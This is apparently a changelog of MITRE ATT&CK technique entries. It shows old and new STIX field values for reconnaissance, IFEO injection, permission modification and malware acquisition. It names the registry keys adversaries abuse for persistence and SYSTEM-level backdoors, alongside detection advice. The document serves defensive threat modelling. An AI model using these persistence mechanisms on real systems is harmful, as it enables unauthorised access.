| > | .mitre.org/techniques/T1195) or [Trusted Relationship](https | > | r [Trusted Relationship](https://attack.mitre.org/techniques | ||
| > | ://attack.mitre.org/techniques/T1199)) | > | /T1199)) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-24 04:10:12.352000+00:00 | 2021-04-15 03:38:31.983000+00:00 |
| description | Before compromising a victim, adversaries may gather information about the victim's business tempo that can be used during targeting. Information about an organization’s business tempo may include a variety of details, including operational hours/days of the week. This information may also reveal times/dates of purchases and shipments of the victim’s hardware and software resources. Adversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about business tempo may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: ThreatPost Broadvoice Leak) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)) | Adversaries may gather information about the victim's business tempo that can be used during targeting. Information about an organization’s business tempo may include a variety of details, including operational hours/days of the week. This information may also reveal times/dates of purchases and shipments of the victim’s hardware and software resources. Adversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about business tempo may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: ThreatPost Broadvoice Leak) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)) |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may gather informa | t | 1 | Adversaries may gather information about identities and role |
| > | tion about identities and roles within the victim organizati | > | s within the victim organization that can be used during tar | ||
| > | on that can be used during targeting. Information about busi | > | geting. Information about business roles may reveal a variet | ||
| > | ness roles may reveal a variety of targetable details, inclu | > | y of targetable details, including identifiable information | ||
| > | ding identifiable information for key personnel as well as w | > | for key personnel as well as what data/resources they have a | ||
| > | hat data/resources they have access to. Adversaries may gat | > | ccess to. Adversaries may gather this information in variou | ||
| > | her this information in various ways, such as direct elicita | > | s ways, such as direct elicitation via [Phishing for Informa | ||
| > | tion via [Phishing for Information](https://attack.mitre.org | > | tion](https://attack.mitre.org/techniques/T1598). Informatio | ||
| > | /techniques/T1598). Information about business roles may als | > | n about business roles may also be exposed to adversaries vi | ||
| > | o be exposed to adversaries via online or other accessible d | > | a online or other accessible data sets (ex: [Social Media](h | ||
| > | ata sets (ex: [Social Media](https://attack.mitre.org/techni | > | ttps://attack.mitre.org/techniques/T1593/001) or [Search Vic | ||
| > | ques/T1593/001) or [Search Victim-Owned Websites](https://at | > | tim-Owned Websites](https://attack.mitre.org/techniques/T159 | ||
| > | tack.mitre.org/techniques/T1594)).(Citation: ThreatPost Broa | > | 4)).(Citation: ThreatPost Broadvoice Leak) Gathering this in | ||
| > | dvoice Leak) Gathering this information may reveal opportuni | > | formation may reveal opportunities for other forms of reconn | ||
| > | ties for other forms of reconnaissance (ex: [Phishing for In | > | aissance (ex: [Phishing for Information](https://attack.mitr | ||
| > | formation](https://attack.mitre.org/techniques/T1598) or [Se | > | e.org/techniques/T1598) or [Search Open Websites/Domains](ht | ||
| > | arch Open Websites/Domains](https://attack.mitre.org/techniq | > | tps://attack.mitre.org/techniques/T1593)), establishing oper | ||
| > | ues/T1593)), establishing operational resources (ex: [Establ | > | ational resources (ex: [Establish Accounts](https://attack.m | ||
| > | ish Accounts](https://attack.mitre.org/techniques/T1585) or | > | itre.org/techniques/T1585) or [Compromise Accounts](https:// | ||
| > | [Compromise Accounts](https://attack.mitre.org/techniques/T1 | > | attack.mitre.org/techniques/T1586)), and/or initial access ( | ||
| > | 586)), and/or initial access (ex: [Phishing](https://attack. | > | ex: [Phishing](https://attack.mitre.org/techniques/T1566)). | ||
| > | mitre.org/techniques/T1566)). | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-24 04:10:36.279000+00:00 | 2021-04-15 03:39:08.904000+00:00 |
| description | Before compromising a victim, adversaries may gather information about identities and roles within the victim organization that can be used during targeting. Information about business roles may reveal a variety of targetable details, including identifiable information for key personnel as well as what data/resources they have access to. Adversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about business roles may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: ThreatPost Broadvoice Leak) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)). | Adversaries may gather information about identities and roles within the victim organization that can be used during targeting. Information about business roles may reveal a variety of targetable details, including identifiable information for key personnel as well as what data/resources they have access to. Adversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about business roles may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: ThreatPost Broadvoice Leak) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)). |
Current version: 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may establish persistence and/or elevate privile | t | 1 | Adversaries may establish persistence and/or elevate privile |
| > | ges by executing malicious content triggered by Image File E | > | ges by executing malicious content triggered by Image File E | ||
| > | xecution Options (IFEO) debuggers. IFEOs enable a developer | > | xecution Options (IFEO) debuggers. IFEOs enable a developer | ||
| > | to attach a debugger to an application. When a process is cr | > | to attach a debugger to an application. When a process is cr | ||
| > | eated, a debugger present in an application’s IFEO will be p | > | eated, a debugger present in an application’s IFEO will be p | ||
| > | repended to the application’s name, effectively launching th | > | repended to the application’s name, effectively launching th | ||
| > | e new process under the debugger (e.g., <code>C:\dbg\ntsd.ex | > | e new process under the debugger (e.g., <code>C:\dbg\ntsd.ex | ||
| > | e -g notepad.exe</code>). (Citation: Microsoft Dev Blog IFE | > | e -g notepad.exe</code>). (Citation: Microsoft Dev Blog IFE | ||
| > | O Mar 2010) IFEOs can be set directly via the Registry or i | > | O Mar 2010) IFEOs can be set directly via the Registry or i | ||
| > | n Global Flags via the GFlags tool. (Citation: Microsoft GFl | > | n Global Flags via the GFlags tool. (Citation: Microsoft GFl | ||
| > | ags Mar 2017) IFEOs are represented as <code>Debugger</code> | > | ags Mar 2017) IFEOs are represented as <code>Debugger</code> | ||
| > | values in the Registry under <code>HKLM\SOFTWARE{\Wow6432No | > | values in the Registry under <code>HKLM\SOFTWARE{\Wow6432No | ||
| > | de}\Microsoft\Windows NT\CurrentVersion\Image File Execution | > | de}\Microsoft\Windows NT\CurrentVersion\Image File Execution | ||
| > | Options\<executable></code> where <code><executable>< | > | Options\<executable></code> where <code><executable>< | ||
| > | /code> is the binary on which the debugger is attached. (Cit | > | /code> is the binary on which the debugger is attached. (Cit | ||
| > | ation: Microsoft Dev Blog IFEO Mar 2010) IFEOs can also ena | > | ation: Microsoft Dev Blog IFEO Mar 2010) IFEOs can also ena | ||
| > | ble an arbitrary monitor program to be launched when a speci | > | ble an arbitrary monitor program to be launched when a speci | ||
| > | fied program silently exits (i.e. is prematurely terminated | > | fied program silently exits (i.e. is prematurely terminated | ||
| > | by itself or a second, non kernel-mode process). (Citation: | > | by itself or a second, non kernel-mode process). (Citation: | ||
| > | Microsoft Silent Process Exit NOV 2017) (Citation: Oddvar Mo | > | Microsoft Silent Process Exit NOV 2017) (Citation: Oddvar Mo | ||
| > | e IFEO APR 2018) Similar to debuggers, silent exit monitorin | > | e IFEO APR 2018) Similar to debuggers, silent exit monitorin | ||
| > | g can be enabled through GFlags and/or by directly modifying | > | g can be enabled through GFlags and/or by directly modifying | ||
| > | IFEO and silent process exit Registry values in <code>HKEY_ | > | IFEO and silent process exit Registry values in <code>HKEY_ | ||
| > | LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\S | > | LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\S | ||
| > | ilentProcessExit\</code>. (Citation: Microsoft Silent Proces | > | ilentProcessExit\</code>. (Citation: Microsoft Silent Proces | ||
| > | s Exit NOV 2017) (Citation: Oddvar Moe IFEO APR 2018) Simil | > | s Exit NOV 2017) (Citation: Oddvar Moe IFEO APR 2018) Simil | ||
| > | ar to [Accessibility Features](https://attack.mitre.org/tech | > | ar to [Accessibility Features](https://attack.mitre.org/tech | ||
| > | niques/T1546/008), on Windows Vista and later as well as Win | > | niques/T1546/008), on Windows Vista and later as well as Win | ||
| > | dows Server 2008 and later, a Registry key may be modified t | > | dows Server 2008 and later, a Registry key may be modified t | ||
| > | hat configures "cmd.exe," or another program that provides b | > | hat configures "cmd.exe," or another program that provides b | ||
| > | ackdoor access, as a "debugger" for an accessibility program | > | ackdoor access, as a "debugger" for an accessibility program | ||
| > | (ex: utilman.exe). After the Registry is modified, pressing | > | (ex: utilman.exe). After the Registry is modified, pressing | ||
| > | the appropriate key combination at the login screen while a | > | the appropriate key combination at the login screen while a | ||
| > | t the keyboard or when connected with [Remote Desktop Protoc | > | t the keyboard or when connected with [Remote Desktop Protoc | ||
| > | ol](https://attack.mitre.org/techniques/T1021/001) will caus | > | ol](https://attack.mitre.org/techniques/T1021/001) will caus | ||
| > | e the "debugger" program to be executed with SYSTEM privileg | > | e the "debugger" program to be executed with SYSTEM privileg | ||
| > | es. (Citation: Tilbury 2014) Similar to [Process Injection] | > | es. (Citation: Tilbury 2014) Similar to [Process Injection] | ||
| > | (https://attack.mitre.org/techniques/T1055), these values ma | > | (https://attack.mitre.org/techniques/T1055), these values ma | ||
| > | y also be abused to obtain privilege escalation by causing a | > | y also be abused to obtain privilege escalation by causing a | ||
| > | malicious executable to be loaded and run in the context of | > | malicious executable to be loaded and run in the context of | ||
| > | separate processes on the computer. (Citation: Endgame Proc | > | separate processes on the computer. (Citation: Elastic Proc | ||
| > | ess Injection July 2017) Installing IFEO mechanisms may also | > | ess Injection July 2017) Installing IFEO mechanisms may also | ||
| > | provide Persistence via continuous triggered invocation. M | > | provide Persistence via continuous triggered invocation. M | ||
| > | alware may also use IFEO to [Impair Defenses](https://attack | > | alware may also use IFEO to [Impair Defenses](https://attack | ||
| > | .mitre.org/techniques/T1562) by registering invalid debugger | > | .mitre.org/techniques/T1562) by registering invalid debugger | ||
| > | s that redirect and effectively disable various system and s | > | s that redirect and effectively disable various system and s | ||
| > | ecurity applications. (Citation: FSecure Hupigon) (Citation: | > | ecurity applications. (Citation: FSecure Hupigon) (Citation: | ||
| > | Symantec Ushedix June 2008) | > | Symantec Ushedix June 2008) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-08-26 14:18:08.480000+00:00 | 2020-11-10 18:29:31.112000+00:00 |
| description | Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by Image File Execution Options (IFEO) debuggers. IFEOs enable a developer to attach a debugger to an application. When a process is created, a debugger present in an application’s IFEO will be prepended to the application’s name, effectively launching the new process under the debugger (e.g., C:\dbg\ntsd.exe -g notepad.exe). (Citation: Microsoft Dev Blog IFEO Mar 2010)
IFEOs can be set directly via the Registry or in Global Flags via the GFlags tool. (Citation: Microsoft GFlags Mar 2017) IFEOs are represented as Debugger values in the Registry under HKLM\SOFTWARE{\Wow6432Node}\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ where <executable> is the binary on which the debugger is attached. (Citation: Microsoft Dev Blog IFEO Mar 2010)
IFEOs can also enable an arbitrary monitor program to be launched when a specified program silently exits (i.e. is prematurely terminated by itself or a second, non kernel-mode process). (Citation: Microsoft Silent Process Exit NOV 2017) (Citation: Oddvar Moe IFEO APR 2018) Similar to debuggers, silent exit monitoring can be enabled through GFlags and/or by directly modifying IFEO and silent process exit Registry values in HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\. (Citation: Microsoft Silent Process Exit NOV 2017) (Citation: Oddvar Moe IFEO APR 2018)
Similar to [Accessibility Features](https://attack.mitre.org/techniques/T1546/008), on Windows Vista and later as well as Windows Server 2008 and later, a Registry key may be modified that configures "cmd.exe," or another program that provides backdoor access, as a "debugger" for an accessibility program (ex: utilman.exe). After the Registry is modified, pressing the appropriate key combination at the login screen while at the keyboard or when connected with [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001) will cause the "debugger" program to be executed with SYSTEM privileges. (Citation: Tilbury 2014)
Similar to [Process Injection](https://attack.mitre.org/techniques/T1055), these values may also be abused to obtain privilege escalation by causing a malicious executable to be loaded and run in the context of separate processes on the computer. (Citation: Endgame Process Injection July 2017) Installing IFEO mechanisms may also provide Persistence via continuous triggered invocation.
Malware may also use IFEO to [Impair Defenses](https://attack.mitre.org/techniques/T1562) by registering invalid debuggers that redirect and effectively disable various system and security applications. (Citation: FSecure Hupigon) (Citation: Symantec Ushedix June 2008) | Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by Image File Execution Options (IFEO) debuggers. IFEOs enable a developer to attach a debugger to an application. When a process is created, a debugger present in an application’s IFEO will be prepended to the application’s name, effectively launching the new process under the debugger (e.g., C:\dbg\ntsd.exe -g notepad.exe). (Citation: Microsoft Dev Blog IFEO Mar 2010)
IFEOs can be set directly via the Registry or in Global Flags via the GFlags tool. (Citation: Microsoft GFlags Mar 2017) IFEOs are represented as Debugger values in the Registry under HKLM\SOFTWARE{\Wow6432Node}\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ where <executable> is the binary on which the debugger is attached. (Citation: Microsoft Dev Blog IFEO Mar 2010)
IFEOs can also enable an arbitrary monitor program to be launched when a specified program silently exits (i.e. is prematurely terminated by itself or a second, non kernel-mode process). (Citation: Microsoft Silent Process Exit NOV 2017) (Citation: Oddvar Moe IFEO APR 2018) Similar to debuggers, silent exit monitoring can be enabled through GFlags and/or by directly modifying IFEO and silent process exit Registry values in HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\. (Citation: Microsoft Silent Process Exit NOV 2017) (Citation: Oddvar Moe IFEO APR 2018)
Similar to [Accessibility Features](https://attack.mitre.org/techniques/T1546/008), on Windows Vista and later as well as Windows Server 2008 and later, a Registry key may be modified that configures "cmd.exe," or another program that provides backdoor access, as a "debugger" for an accessibility program (ex: utilman.exe). After the Registry is modified, pressing the appropriate key combination at the login screen while at the keyboard or when connected with [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001) will cause the "debugger" program to be executed with SYSTEM privileges. (Citation: Tilbury 2014)
Similar to [Process Injection](https://attack.mitre.org/techniques/T1055), these values may also be abused to obtain privilege escalation by causing a malicious executable to be loaded and run in the context of separate processes on the computer. (Citation: Elastic Process Injection July 2017) Installing IFEO mechanisms may also provide Persistence via continuous triggered invocation.
Malware may also use IFEO to [Impair Defenses](https://attack.mitre.org/techniques/T1562) by registering invalid debuggers that redirect and effectively disable various system and security applications. (Citation: FSecure Hupigon) (Citation: Symantec Ushedix June 2008) |
| external_references[6]['source_name'] | Endgame Process Injection July 2017 | Elastic Process Injection July 2017 |
| x_mitre_data_sources[0] | API monitoring | Process: Process Creation |
| x_mitre_data_sources[1] | Windows event logs | Windows Registry: Windows Registry Key Modification |
| x_mitre_data_sources[2] | Windows Registry | Command: Command Execution |
| x_mitre_detection | Monitor for abnormal usage of the GFlags tool as well as common processes spawned under abnormal parents and/or with creation flags indicative of debugging such as DEBUG_PROCESS and DEBUG_ONLY_THIS_PROCESS. (Citation: Microsoft Dev Blog IFEO Mar 2010)
Monitor Registry values associated with IFEOs, as well as silent process exit monitoring, for modifications that do not correlate with known software, patch cycles, etc. Monitor and analyze application programming interface (API) calls that are indicative of Registry edits such as RegCreateKeyEx and RegSetValueEx. (Citation: Endgame Process Injection July 2017) | Monitor for abnormal usage of the GFlags tool as well as common processes spawned under abnormal parents and/or with creation flags indicative of debugging such as DEBUG_PROCESS and DEBUG_ONLY_THIS_PROCESS. (Citation: Microsoft Dev Blog IFEO Mar 2010)
Monitor Registry values associated with IFEOs, as well as silent process exit monitoring, for modifications that do not correlate with known software, patch cycles, etc. Monitor and analyze application programming interface (API) calls that are indicative of Registry edits such as RegCreateKeyEx and RegSetValueEx. (Citation: Elastic Process Injection July 2017) |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Process command-line parameters | |
| x_mitre_data_sources | Process monitoring |
Current version: 2.0
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-16 18:25:12.727000+00:00 | 2021-04-24 13:59:12.787000+00:00 |
| x_mitre_data_sources[0] | PowerShell logs | Sensor Health: Host Status |
| x_mitre_data_sources[1] | Process command-line parameters | Command: Command Execution |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Environment variable | |
| x_mitre_data_sources | File monitoring | |
| x_mitre_data_sources | Authentication logs | |
| x_mitre_data_sources | Process monitoring |
Current version: 1.0
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-07-09 14:43:42.450000+00:00 | 2021-01-13 15:56:04.897000+00:00 |
| x_mitre_data_sources[0] | Process command-line parameters | Windows Registry: Windows Registry Key Modification |
| x_mitre_data_sources[1] | Process monitoring | Sensor Health: Host Status |
| x_mitre_data_sources[2] | Sensor health and status | Command: Command Execution |
| x_mitre_defense_bypassed[0] | Host intrusion prevention systems | Anti-virus |
| x_mitre_defense_bypassed[1] | Anti-virus | Host intrusion prevention systems |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_defense_bypassed | Anti-virus |
Current version: 1.0
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-24 16:50:36.235000+00:00 | 2021-03-30 00:51:58.454000+00:00 |
| external_references[2]['url'] | https://www.rsaconference.com/writable/presentations/file_upload/ht-r03-malware-persistence-on-os-x-yosemite_final.pdf | https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf |
| x_mitre_data_sources[0] | File monitoring | Process: Process Creation |
| x_mitre_data_sources[1] | Process command-line parameters | Command: Command Execution |
| x_mitre_data_sources[2] | Process monitoring | File: File Metadata |
| x_mitre_data_sources[3] | Binary file metadata | File: File Modification |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Module: Module Load |
Current version: 1.0
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-24 20:35:42.440000+00:00 | 2021-04-21 21:12:38.361000+00:00 |
| external_references[4]['url'] | ttps://ired.team/offensive-security/credential-access-and-credential-dumping/dumping-lsa-secrets | https://ired.team/offensive-security/credential-access-and-credential-dumping/dumping-lsa-secrets |
| x_mitre_data_sources[0] | Process monitoring | Windows Registry: Windows Registry Key Access |
| x_mitre_data_sources[1] | PowerShell logs | Command: Command Execution |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Process command-line parameters |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may modify file or directory permissions/attribu | t | 1 | Adversaries may modify file or directory permissions/attribu |
| > | tes to evade access control lists (ACLs) and access protecte | > | tes to evade access control lists (ACLs) and access protecte | ||
| > | d files.(Citation: Hybrid Analysis Icacls1 June 2018)(Citati | > | d files.(Citation: Hybrid Analysis Icacls1 June 2018)(Citati | ||
| > | on: Hybrid Analysis Icacls2 May 2018) File and directory per | > | on: Hybrid Analysis Icacls2 May 2018) File and directory per | ||
| > | missions are commonly managed by ACLs configured by the file | > | missions are commonly managed by ACLs configured by the file | ||
| > | or directory owner, or users with the appropriate permissio | > | or directory owner, or users with the appropriate permissio | ||
| > | ns. File and directory ACL implementations vary by platform, | > | ns. File and directory ACL implementations vary by platform, | ||
| > | but generally explicitly designate which users or groups ca | > | but generally explicitly designate which users or groups ca | ||
| > | n perform which actions (read, write, execute, etc.). Most | > | n perform which actions (read, write, execute, etc.). Most | ||
| > | Linux and Linux-based platforms provide a standard set of pe | > | Linux and Linux-based platforms provide a standard set of pe | ||
| > | rmission groups (user, group, and other) and a standard set | > | rmission groups (user, group, and other) and a standard set | ||
| > | of permissions (read, write, and execute) that are applied t | > | of permissions (read, write, and execute) that are applied t | ||
| > | o each group. While nuances of each platform’s permissions i | > | o each group. While nuances of each platform’s permissions i | ||
| > | mplementation may vary, most of the platforms provide two pr | > | mplementation may vary, most of the platforms provide two pr | ||
| > | imary commands used to manipulate file and directory ACLs: < | > | imary commands used to manipulate file and directory ACLs: < | ||
| > | code>chown</code> (short for change owner), and <code>chmod< | > | code>chown</code> (short for change owner), and <code>chmod< | ||
| > | /code> (short for change mode). Adversarial may use these c | > | /code> (short for change mode). Adversarial may use these c | ||
| > | ommands to make themselves the owner of files and directorie | > | ommands to make themselves the owner of files and directorie | ||
| > | s or change the mode if current permissions allow it. They c | > | s or change the mode if current permissions allow it. They c | ||
| > | ould subsequently lock others out of the file. Specific file | > | ould subsequently lock others out of the file. Specific file | ||
| > | and directory modifications may be a required step for many | > | and directory modifications may be a required step for many | ||
| > | techniques, such as establishing Persistence via [.bash_pro | > | techniques, such as establishing Persistence via [Unix Shel | ||
| > | file and .bashrc](https://attack.mitre.org/techniques/T1546/ | > | l Configuration Modification](https://attack.mitre.org/techn | ||
| > | 004) or tainting/hijacking other instrumental binary/configu | > | iques/T1546/004) or tainting/hijacking other instrumental bi | ||
| > | ration files via [Hijack Execution Flow](https://attack.mitr | > | nary/configuration files via [Hijack Execution Flow](https:/ | ||
| > | e.org/techniques/T1574). | > | /attack.mitre.org/techniques/T1574). | ||
| STIX Field | Old value | New Value |
|---|---|---|
| description | Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.(Citation: Hybrid Analysis Icacls1 June 2018)(Citation: Hybrid Analysis Icacls2 May 2018) File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.).
Most Linux and Linux-based platforms provide a standard set of permission groups (user, group, and other) and a standard set of permissions (read, write, and execute) that are applied to each group. While nuances of each platform’s permissions implementation may vary, most of the platforms provide two primary commands used to manipulate file and directory ACLs: chown (short for change owner), and chmod (short for change mode).
Adversarial may use these commands to make themselves the owner of files and directories or change the mode if current permissions allow it. They could subsequently lock others out of the file. Specific file and directory modifications may be a required step for many techniques, such as establishing Persistence via [.bash_profile and .bashrc](https://attack.mitre.org/techniques/T1546/004) or tainting/hijacking other instrumental binary/configuration files via [Hijack Execution Flow](https://attack.mitre.org/techniques/T1574). | Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.(Citation: Hybrid Analysis Icacls1 June 2018)(Citation: Hybrid Analysis Icacls2 May 2018) File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.).
Most Linux and Linux-based platforms provide a standard set of permission groups (user, group, and other) and a standard set of permissions (read, write, and execute) that are applied to each group. While nuances of each platform’s permissions implementation may vary, most of the platforms provide two primary commands used to manipulate file and directory ACLs: chown (short for change owner), and chmod (short for change mode).
Adversarial may use these commands to make themselves the owner of files and directories or change the mode if current permissions allow it. They could subsequently lock others out of the file. Specific file and directory modifications may be a required step for many techniques, such as establishing Persistence via [Unix Shell Configuration Modification](https://attack.mitre.org/techniques/T1546/004) or tainting/hijacking other instrumental binary/configuration files via [Hijack Execution Flow](https://attack.mitre.org/techniques/T1574). |
| x_mitre_data_sources[0] | Process command-line parameters | Process: Process Creation |
| x_mitre_data_sources[1] | Process monitoring | Command: Command Execution |
| x_mitre_data_sources[2] | File monitoring | File: File Metadata |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may buy, steal, or | t | 1 | Adversaries may buy, steal, or download malware that can be |
| > | download malware that can be used during targeting. Malicio | > | used during targeting. Malicious software can include payloa | ||
| > | us software can include payloads, droppers, post-compromise | > | ds, droppers, post-compromise tools, backdoors, packers, and | ||
| > | tools, backdoors, packers, and C2 protocols. Adversaries may | > | C2 protocols. Adversaries may acquire malware to support th | ||
| > | acquire malware to support their operations, obtaining a me | > | eir operations, obtaining a means for maintaining control of | ||
| > | ans for maintaining control of remote machines, evading defe | > | remote machines, evading defenses, and executing post-compr | ||
| > | nses, and executing post-compromise behaviors. In addition | > | omise behaviors. In addition to downloading free malware fr | ||
| > | to downloading free malware from the internet, adversaries m | > | om the internet, adversaries may purchase these capabilities | ||
| > | ay purchase these capabilities from third-party entities. Th | > | from third-party entities. Third-party entities can include | ||
| > | ird-party entities can include technology companies that spe | > | technology companies that specialize in malware development | ||
| > | cialize in malware development, criminal marketplaces (inclu | > | , criminal marketplaces (including Malware-as-a-Service, or | ||
| > | ding Malware-as-a-Service, or MaaS), or from individuals. In | > | MaaS), or from individuals. In addition to purchasing malwar | ||
| > | addition to purchasing malware, adversaries may steal and r | > | e, adversaries may steal and repurpose malware from third-pa | ||
| > | epurpose malware from third-party entities (including other | > | rty entities (including other adversaries). | ||
| > | adversaries). | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-15 20:46:54.437000+00:00 | 2021-04-15 03:14:41.582000+00:00 |
| description | Before compromising a victim, adversaries may buy, steal, or download malware that can be used during targeting. Malicious software can include payloads, droppers, post-compromise tools, backdoors, packers, and C2 protocols. Adversaries may acquire malware to support their operations, obtaining a means for maintaining control of remote machines, evading defenses, and executing post-compromise behaviors. In addition to downloading free malware from the internet, adversaries may purchase these capabilities from third-party entities. Third-party entities can include technology companies that specialize in malware development, criminal marketplaces (including Malware-as-a-Service, or MaaS), or from individuals. In addition to purchasing malware, adversaries may steal and repurpose malware from third-party entities (including other adversaries). | Adversaries may buy, steal, or download malware that can be used during targeting. Malicious software can include payloads, droppers, post-compromise tools, backdoors, packers, and C2 protocols. Adversaries may acquire malware to support their operations, obtaining a means for maintaining control of remote machines, evading defenses, and executing post-compromise behaviors. In addition to downloading free malware from the internet, adversaries may purchase these capabilities from third-party entities. Third-party entities can include technology companies that specialize in malware development, criminal marketplaces (including Malware-as-a-Service, or MaaS), or from individuals. In addition to purchasing malware, adversaries may steal and repurpose malware from third-party entities (including other adversaries). |
Current version: 1.0
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-07-14 19:39:44.590000+00:00 | 2021-02-09 15:34:09.429000+00:00 |
| x_mitre_data_sources[0] | Authentication logs | Process: Process Access |
| x_mitre_data_sources[1] | Packet capture | Logon Session: Logon Session Creation |
| x_mitre_detection | This is a difficult technique to detect because adversary traffic would be masked by normal user traffic. No new processes are created and no additional software touches disk. Authentication logs can be used to audit logins to specific web applications, but determining malicious logins versus benign logins may be difficult if activity matches typical user behavior. Monitor for process injection against browser applications | This is a difficult technique to detect because adversary traffic would be masked by normal user traffic. No new processes are created and no additional software touches disk. Authentication logs can be used to audit logins to specific web applications, but determining malicious logins versus benign logins may be difficult if activity matches typical user behavior. Monitor for process injection against browser applications. |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Process monitoring | |
| x_mitre_data_sources | API monitoring |
Current version: 1.0
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-29 20:21:11.895000+00:00 | 2021-04-24 13:24:45.580000+00:00 |
| x_mitre_data_sources[0] | Windows Registry | Command: Command Execution |
| x_mitre_data_sources[1] | Process monitoring | Service: Service Metadata |
| x_mitre_data_sources[2] | Process command-line parameters | Service: Service Creation |
| x_mitre_data_sources[3] | Windows event logs | Scheduled Job: Scheduled Job Metadata |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Scheduled Job: Scheduled Job Modification |
Current version: 1.0
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-20 22:35:27.613000+00:00 | 2020-12-30 14:29:06.462000+00:00 |
| x_mitre_data_sources[0] | File monitoring | Process: Process Creation |
| x_mitre_data_sources[1] | Process command-line parameters | File: File Creation |
| x_mitre_data_sources[2] | Process monitoring | Command: Command Execution |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Network Traffic: Network Connection Creation |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
